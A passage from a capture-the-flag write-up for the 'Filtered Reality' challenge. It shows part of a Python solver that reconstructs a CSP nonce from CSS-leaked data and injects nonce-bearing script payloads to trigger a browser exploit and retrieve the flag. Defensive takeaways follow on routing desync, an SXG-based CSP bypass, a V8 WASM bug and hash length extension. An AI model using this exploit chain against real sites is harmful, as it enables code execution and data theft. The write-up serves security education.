print('[*] waiting for the Archivist to render the leak record + the CSS to leak the nonce...') S, E, M = set(), set(), set() candidates = [] prev_m, stable = -1, 0 deadline = time.time() + 200 while time.time() < deadline: time.sleep(5) try: log = http_get(base + '/wp-content/uploads/leak_' + token + '.log') except Exception: log = '' for q in log.splitlines(): d = urllib.parse.parse_qs(q) S |= set(d.get('S', [])) E |= set(d.get('E', [])) M |= set(d.get('M', [])) print(f' leak: S={len(S)} E={len(E)} M={len(M)}') if S and E and len(M) >= 18: # Wait for the trigram set to settle, then keep every reconstruction (the leak can be # ambiguous when a digram repeats), and inject all candidates. stable = stable + 1 if len(M) == prev_m else 0 prev_m = len(M) if stable >= 2: candidates = reconstruct(S, E, M) if candidates: break if not candidates: candidates = reconstruct(S, E, M) if not candidates: print('[!] failed to recover the CSP nonce') return None print(f'[+] CSP nonce candidate(s): {candidates[:8]}')
# --- Phase 2: file an inject record per candidate; only the correct nonce's script runs --- flagfile = base + '/wp-content/uploads/' + token + 'flag.log' for i, cand in enumerate(candidates[:8]): rg = r_go + str(i) http_post(base, {'archive_submit': '1', 'ref': rg, 'title': 'g', 'body': sxg_body(fallback_for(rg)), 'source': clob(f'<iframe srcdoc="<script nonce={cand} src=/?archive_raw={r_exp}></script>"></iframe>')}) clerk.seal_record(rg)
print(f'[*] injected {min(len(candidates), 8)} candidate(s); waiting for the Archivist to fire the exploit...') deadline = time.time() + 200 while time.time() < deadline: try: out = http_get(flagfile) if 'HTB{' in out: return out.strip() except Exception: pass time.sleep(5) print(' ...waiting for the flag') return None
def main(): ap = argparse.ArgumentParser(description='Filtered Reality solver') ap.add_argument('--host', default='127.0.0.1') ap.add_argument('--port', type=int, default=4000) ap.add_argument('--debug', action='store_true') args = ap.parse_args()
try: flag = solve(args.host, args.port) except Exception as e: print(f'[!] error: {e}') sys.exit(1)
if flag: print(f'\n[+] Flag: {flag}') sys.exit(0) print('\n[!] no flag recovered') sys.exit(1)
if __name__ == '__main__': main()My final methodology closely aligned with the approach discussed in the Discord channel. I highly recommend reading through those logs; it’s an absolute goldmine of alternative exploitation paths.
Firing the finalized exploit chain successfully popped the shell and dumped the flag.

5. Key Takeaways
- Routing Desyncs are Lethal: Never assume your web server and backend application parse URLs the exact same way. Apache passing URL-decoded newlines (
%0A) to WordPress’s regex engine completely broke the privilege model for page routing. - Obscure Web Standards are an Attack Surface: A strict CSP looks great on paper, but missing directives like
Maps-toleave the door open for edge-case bypasses, in this case, abusing the automated fallback behavior of Signed HTTP Exchanges (SXG). - Update Your Headless Browsers: Running outdated Chromium versions in Puppeteer bots, especially with
--no-sandbox, is basically handing out shells. The V8 WASM type confusion bug perfectly highlighted how failing to account for combined type counts (recursive + standalone) breaks memory safety. - Use HMAC, Not Custom Hashes: Relying on simple concatenations like
hash(SECRET + message)for message authentication is a textbook cryptographic failure. If an attacker knows the hash and the message length, a length extension attack will trivially bypass your filters every time.